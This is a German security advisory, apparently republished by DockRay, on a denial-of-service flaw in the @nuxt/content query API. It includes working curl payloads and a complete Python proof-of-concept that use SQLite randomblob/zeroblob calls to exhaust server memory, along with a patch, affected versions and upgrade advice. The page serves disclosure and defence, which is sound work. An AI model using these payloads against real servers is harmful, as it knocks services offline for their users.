Hoch

Nuxt Content: Denial-of-Service durch nicht authentifizierte SQLite-Funktionsaufrufe über die Content-Query-API

  • Veröffentlicht: 10.11.2026
  • Aktualisiert: 11.11.2026 10:00

Zusammenfassung

Der Endpunkt POST /__nuxt_content/:collection/query in @nuxt/content akzeptiert ein angreifergesteuertes sql-Feld aus dem HTTP-Anfragetext und führt dieses auf einer lokalen SQLite-Datenbank aus, nachdem es eine unzureichende Validierung (assertSafeQuery) durchlaufen hat. Der Validator blockiert lediglich eine kleine Liste von SQL-Befehlsschlüsselwörtern und weist ressourcenintensive integrierte SQLite-Funktionen wie randomblob(), zeroblob(), hex() oder length() nicht ab. Ein nicht authentifizierter Remote-Angreifer kann eine einzelne Anfrage erstellen, die SQLite dazu zwingt, Hunderte Megabytes an Speicher zuzuweisen und CPU-intensive Operationen auszuführen, was zu einem serverweiten Denial of Service (DoS) führt. Dieser Endpunkt ist standardmäßig für jede Collection aktiv und erfordert keine Authentifizierung.

Details

Die Schwachstelle erstreckt sich über drei Quelldateien:

Routen-Registrierung — src/module.ts:207-208

Das Nuxt Content-Modul registriert beim Start einen öffentlichen HTTP-POST-Handler für jede konfigurierte Collection:

ts
// src/module.ts:207-208
addServerHandler({
  route: `/__nuxt_content/${collection.name}/query`,
  handler: resolver.resolve('./runtime/api/query.post'),
})

Es ist keine Authentifizierungs-Middleware hinterlegt; die Route ist für jeden Client erreichbar.

Quelle (Angreifereingabe) — src/runtime/api/query.post.ts:7-9

ts
// src/runtime/api/query.post.ts
const { sql } = await readBody(event)          // line 8  — attacker-controlled
assertSafeQuery(sql, collection)               // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql)      // line 18 — raw sql passed to sink

Unzureichende Bereinigung — src/runtime/internal/security.ts:55-63

ts
if (where) {
  const noString = cleanupQuery(where, { removeString: true })
  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
    throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
  }
  // No rejection of function calls (randomblob, zeroblob, hex, length, …)
}

Die Denylist gleicht nur sechs DDL/DML-Schlüsselwörter ab. SQLite-Funktionen mit hohem Ressourcenverbrauch (randomblob, zeroblob, hex, length) sind keine vom Regex erfassten Schlüsselwörter und passieren die Validierung daher ungehindert.

Senke — src/runtime/internal/database.server.ts:26-28

ts
all: async (sql, params = []) => {
  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql
}

prepare().all() von better-sqlite3 ist ein synchroner Aufruf, der die Node.js-Event-Loop für die gesamte Dauer der SQLite-Abfrage blockiert. Eine einzelne bösartige Anfrage bringt daher die Verarbeitung aller parallelen Anfragen zum Stillstand.

Übersicht über die Angriffskette:

Attacker HTTP POST (sql field)
  → query.post.ts readBody()          [source]
  → assertSafeQuery() — BYPASS        [insufficient validation]
  → loadDatabaseAdapter().all(sql)    [propagation]
  → db.prepare(sql).all()             [sink — synchronous, blocks event loop]

PoC

Umgebungskonfiguration

bash
git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000

Schritt 1 — Basiswert ermitteln (sichere Abfrage)

bash
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s

Schritt 2 — Angriffs-Payload (randomblob-Variante)

bash
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)

Die Payload passiert assertSafeQuery(), da die WHERE-Klausel keine blockierten Schlüsselwörter enthält. SQLite führt daraufhin folgende Schritte aus:

  1. Belegt 200 MB an zufälligen Bytes mittels randomblob(200000000)
  2. Enkodiert das Ergebnis per Hex-Kodierung in eine 400 MB große ASCII-Zeichenkette mittels hex()
  3. Berechnet die Zeichenkettenlänge über length()

Schritt 3 — Zeroblob-Variante (fokussiert auf Speicherallokation)

bash
--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination

Automatisierter PoC (Docker)

bash
# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
  reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest

# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000

Ergebnis der dynamischen Reproduktion (phase2):

Metrik Wert
Basis-Antwortzeit 0.0088 s
Angriffs-Antwortzeit 11.82 s
Verlangsamungsfaktor 1339×
HTTP-Status beim Angriff 200 (nicht abgewiesen)

Die Node.js-Event-Loop war während der gesamten Dauer jeder Angriffsanfrage blockiert, was durch einen Durchsatz von null gleichzeitigen Anfragen während des Angriffs bestätigt wurde.

Vorgeschlagener Patch — src/runtime/internal/security.ts

diff
 const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
 
     const noString = cleanupQuery(where, { removeString: true })
     if (noString.match(SQL_COMMANDS)) {
       throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
     }
+    const tokens = noString.match(/[A-Z_]\w*/gi) || []
+    if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+      throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+    }
   }

Auswirkungen

Es handelt sich um eine Denial-of-Service-Schwachstelle für nicht authentifizierte Remote-Angreifer. Jede über das Internet erreichbare @nuxt/content-Anwendung, die den Standard-SQLite/D1-Adapter verwendet (was für die überwiegende Mehrheit der Deployments zutrifft), stellt den anfälligen Endpunkt ohne Authentifizierung unter POST /__nuxt_content/<collection>/query bereit.

Da better-sqlite3 Abfragen synchron ausführt und die Node.js-Event-Loop blockiert, verhindert eine einzelne schädliche Anfrage mit einem großen randomblob()-Argument für die Dauer der Abfrage die Bearbeitung jeglicher weiterer Anfragen durch den Server. Ein Angreifer, der fortlaufend derartige Anfragen sendet, kann mit minimaler Bandbreite einen vollständigen Denial of Service aufrechterhalten.

Umfang der Auswirkungen:

  • Vertraulichkeit: Keine — es werden keine Daten exfiltriert
  • Integrität: Keine — keine Datenmodifikation
  • Verfügbarkeit: Hoch — vollständige Dienstunterbrechung durch nicht authentifizierte Angreifer mit Netzwerkzugriff

Alle Nutzer von öffentlich bereitgestellten @nuxt/content v3-Anwendungen (SSR oder serverseitig gerenderte statische Websites, die die API-Route beibehalten) sind betroffen, ohne dass Authentifizierung oder Vorwissen über die Anwendung erforderlich sind.

Reproduktionsartefakte

Dockerfile

dockerfile
# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
#   docker build -f vuln-001/Dockerfile -t vuln001:latest .

FROM node:20-alpine

# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++

WORKDIR /app

# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts    /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts

# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js

# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install better-sqlite3@12.5.0

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

python
#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API

Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().

Attack payload: SELECT * FROM _content_content
                WHERE (length(hex(randomblob(100000000))) > 0)
                ORDER BY stem ASC LIMIT 1

This forces SQLite to:
  1. Allocate 100 MB of random bytes via randomblob(100000000)
  2. Hex-encode the result to a 200 MB ASCII string via hex()
  3. Compute the string length via length()

The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.

Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source:   src/runtime/internal/security.ts:55-63
          src/runtime/api/query.post.ts:8,11,18
          src/runtime/internal/database.server.ts:27
CVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request

DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000

# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5

# SQL payloads
SAFE_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (id = '1') "
    "ORDER BY stem ASC LIMIT 1"
)

# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...)               -> 200 MB hex string
# length(...)            -> string length computation
MALICIOUS_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (length(hex(randomblob(100000000))) > 0) "
    "ORDER BY stem ASC LIMIT 1"
)

# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (zeroblob(500000000) IS NOT NULL) "
    "ORDER BY stem ASC LIMIT 1"
)


def post_query(host, port, sql, timeout=120):
    """Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
    payload = json.dumps({"sql": sql}).encode("utf-8")
    req = urllib.request.Request(
        f"http://{host}:{port}/__nuxt_content/content/query",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.monotonic() - t0
            body = resp.read().decode("utf-8")
            return resp.status, elapsed, body
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        body = e.read().decode("utf-8")
        return e.code, elapsed, body
    except Exception as e:
        elapsed = time.monotonic() - t0
        return None, elapsed, str(e)


def wait_for_server(host, port, retries=30, delay=1.0):
    """Poll until the server responds or timeout."""
    print(f"[*] Waiting for server at {host}:{port} ...")
    for attempt in range(1, retries + 1):
        try:
            urllib.request.urlopen(
                f"http://{host}:{port}/", timeout=2
            )
        except urllib.error.HTTPError:
            # Any HTTP response (including 404) means the server is up
            print(f"[+] Server is ready (attempt {attempt})")
            return True
        except Exception:
            pass
        time.sleep(delay)
    print(f"[!] Server did not become ready after {retries} attempts")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
    )
    parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument(
        "--no-wait",
        action="store_true",
        help="Skip server readiness check (useful when server is already running)",
    )
    args = parser.parse_args()

    host, port = args.host, args.port

    print("=" * 70)
    print("VULN-001: Unauthenticated SQLite Function DoS")
    print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
    print("=" * 70)

    if not args.no_wait:
        if not wait_for_server(host, port):
            sys.exit(2)

    # ------------------------------------------------------------------
    # Step 1: Safe baseline query — validates endpoint is reachable
    # ------------------------------------------------------------------
    print()
    print("[STEP 1] Baseline safe query")
    print(f"  SQL: {SAFE_SQL}")
    status1, t1, body1 = post_query(host, port, SAFE_SQL)
    print(f"  Status: {status1}   Time: {t1:.4f}s")
    if status1 == 200:
        rows1 = json.loads(body1)
        print(f"  Rows returned: {len(rows1)}")
    else:
        print(f"  Response: {body1[:200]}")

    # ------------------------------------------------------------------
    # Step 2: Malicious payload — SQLite function DoS
    # ------------------------------------------------------------------
    print()
    print("[STEP 2] Malicious SQLite function payload")
    print(f"  SQL: {MALICIOUS_SQL}")
    print("  Explanation:")
    print("    randomblob(100000000) -> allocates 100 MB of random bytes")
    print("    hex(...)              -> encodes to 200 MB ASCII string")
    print("    length(...)           -> forces full evaluation before comparison")
    print("    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
    print("    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
    print()
    print("  Sending request ...")
    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
    print(f"  Status: {status2}   Time: {t2:.4f}s")
    if status2 == 200:
        rows2 = json.loads(body2)
        print(f"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)")
    else:
        print(f"  Response: {body2[:200]}")

    # ------------------------------------------------------------------
    # Step 3: Report
    # ------------------------------------------------------------------
    print()
    print("[RESULT]")
    print(f"  Baseline time  : {t1:.4f}s")
    print(f"  Attack time    : {t2:.4f}s")
    ratio = (t2 / t1) if t1 > 0 else float("inf")
    print(f"  Slowdown ratio : {ratio:.1f}x")
    print()

    accepted = status2 == 200
    slow_enough = t2 >= ATTACK_MIN_SECONDS

    if accepted and slow_enough:
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
        print(f"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
        print(f"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
        print(f"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
        sys.exit(0)
    elif accepted and not slow_enough:
        print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
        print(f"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
        print("  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
        sys.exit(1)
    else:
        print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
        print(f"  Response body: {body2[:300]}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Betroffene Versionen

Alle Versionen von @nuxt/content v3 vor 3.15.2 sind betroffen (>= 3.0.0, < 3.15.2). Die Schwachstelle wurde auf 3.15.1 reproduziert, aber dieselbe Validierungslücke in der WHERE-Klausel existiert in jeder früheren v3-Version; 3.0.0 führte überhaupt keine Abfragevalidierung durch.

Vollständig statische Bereitstellungen (vorgefertigt / prerendered, ohne Server) sind nicht betroffen.

Danksagung

Ebenfalls unabhängig gemeldet von @Pig-Tail (GHSA-c739-vwm9-rgx3) und @maru1009 (als Teil von GHSA-wjh8-qcrm-wf29).

Was zu tun ist

Aktualisieren Sie auf Version 3.15.2 (#3819) oder neuer. Neuere Releases härten die Validierung weiter ab: 3.16.1 behebt ein ReDoS in assertSafeQuery (#3851) und 3.16.2 akzeptiert nur noch WHERE-Klauseln, die exakt der Ausgabe des Query Builders entsprechen (#3862, #3877). Ein Update auf die neueste Version (>= 3.16.2) wird empfohlen.

Falls ein Upgrade nicht möglich ist, kann der Zugriff auf POST /__nuxt_content/*/query über Proxys oder WAFs blockiert bzw. eingeschränkt werden. Alternativ kann die Seite vollständig vorgerendert (prerendered) werden, sodass der Endpunkt gar nicht bereitgestellt wird.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @nuxt/content >= 3.0.0, < 3.15.2 3.15.2

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400, CWE-770
Plattform
npm
Paket
@nuxt/content
Veröffentlicht
10.11.2026
Aktualisiert
11.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-xxrh-5hgg-gj4h - CC BY 4.0

Schwachstellenhistorie: @nuxt/content

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.